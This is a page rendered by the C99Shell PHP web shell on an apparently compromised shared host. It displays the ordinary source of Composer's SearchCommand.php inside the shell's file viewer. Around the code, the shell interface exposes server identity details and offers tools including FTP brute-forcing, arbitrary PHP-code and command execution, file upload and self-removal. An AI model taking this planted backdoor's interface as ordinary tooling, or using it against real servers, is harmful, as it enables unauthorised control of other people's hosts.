!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/usr/share/php/Composer/Command/   drwxr-xr-x
Free 60.06 GB of 99.95 GB (60.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SearchCommand.php (5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Command;

use 
Composer\Factory;
use 
Composer\Json\JsonFile;
use 
Symfony\Component\Console\Formatter\OutputFormatter;
use 
Symfony\Component\Console\Input\InputInterface;
use 
Composer\Console\Input\InputArgument;
use 
Composer\Console\Input\InputOption;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Composer\Repository\CompositeRepository;
use 
Composer\Repository\PlatformRepository;
use 
Composer\Repository\RepositoryInterface;
use 
Composer\Plugin\CommandEvent;
use 
Composer\Plugin\PluginEvents;

/**
 * @author Robert Schönthal <seroscho@googlemail.com>
 */
class SearchCommand extends BaseCommand
{
    protected function 
configure(): void
    
{
        
$this
            
->setName('search')
            ->
setDescription('Searches for packages')
            ->
setDefinition([
                new 
InputOption('only-name''N'InputOption::VALUE_NONE'Search only in package names'),
                new 
InputOption('only-vendor''O'InputOption::VALUE_NONE'Search only for vendor / organization names, returns only "vendor" as result'),
                new 
InputOption('type''t'InputOption::VALUE_REQUIRED'Search for a specific package type'),
                new 
InputOption('format''f'InputOption::VALUE_REQUIRED'Format of the output: text or json''text', ['json''text']),
                new 
InputArgument('tokens'InputArgument::IS_ARRAY InputArgument::REQUIRED'tokens to search for'),
            ])
            ->
setHelp(
                <<<EOT
The search command searches for packages by its name
<info>php composer.phar search symfony composer</info>

Read more at https://getcomposer.org/doc/03-cli.md#search
EOT
            )
        ;
    }

    protected function 
execute(InputInterface $inputOutputInterface $output): int
    
{
        
// init repos
        
$platformRepo = new PlatformRepository;
        
$io $this->getIO();

        
$format $input->getOption('format');
        if (!
in_array($format, ['text''json'])) {
            
$io->writeError(sprintf('Unsupported format "%s". See help for supported formats.'$format));

            return 
1;
        }

        if (!(
$composer $this->tryComposer())) {
            
$composer Factory::create($this->getIO(), [], $input->hasParameterOption('--no-plugins'));
        }
        
$localRepo $composer->getRepositoryManager()->getLocalRepository();
        
$installedRepo = new CompositeRepository([$localRepo$platformRepo]);
        
$repos = new CompositeRepository(array_merge([$installedRepo], $composer->getRepositoryManager()->getRepositories()));

        
$commandEvent = new CommandEvent(PluginEvents::COMMAND'search'$input$output);
        
$composer->getEventDispatcher()->dispatch($commandEvent->getName(), $commandEvent);

        
$mode RepositoryInterface::SEARCH_FULLTEXT;
        if (
$input->getOption('only-name') === true) {
            if (
$input->getOption('only-vendor') === true) {
                throw new \
InvalidArgumentException('--only-name and --only-vendor cannot be used together');
            }
            
$mode RepositoryInterface::SEARCH_NAME;
        } elseif (
$input->getOption('only-vendor') === true) {
            
$mode RepositoryInterface::SEARCH_VENDOR;
        }

        
$type $input->getOption('type');

        
$query implode(' '$input->getArgument('tokens'));
        if (
$mode !== RepositoryInterface::SEARCH_FULLTEXT) {
            
$query preg_quote($query);
        }

        
$results $repos->search($query$mode$type);

        if (\
count($results) > && $format === 'text') {
            
$width $this->getTerminalWidth();

            
$nameLength 0;
            foreach (
$results as $result) {
                
$nameLength max(strlen($result['name']), $nameLength);
            }
            
$nameLength += 1;
            foreach (
$results as $result) {
                
$description $result['description'] ?? '';
                
$warning = !empty($result['abandoned']) ? '<warning>! Abandoned !</warning> ' '';
                
$remaining $width $nameLength strlen($warning) - 2;
                if (
strlen($description) > $remaining) {
                    
$description substr($description0$remaining 3) . '...';
                }

                
$link $result['url'] ?? null;
                if (
$link !== null) {
                    
$io->write('<href='.OutputFormatter::escape($link).'>'.$result['name'].'</>'str_repeat(' '$nameLength strlen($result['name'])) . $warning $description);
                } else {
                    
$io->write(str_pad($result['name'], $nameLength' ') . $warning $description);
                }
            }
        } elseif (
$format === 'json') {
            
$io->write(JsonFile::encode($results));
        }

        return 
0;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--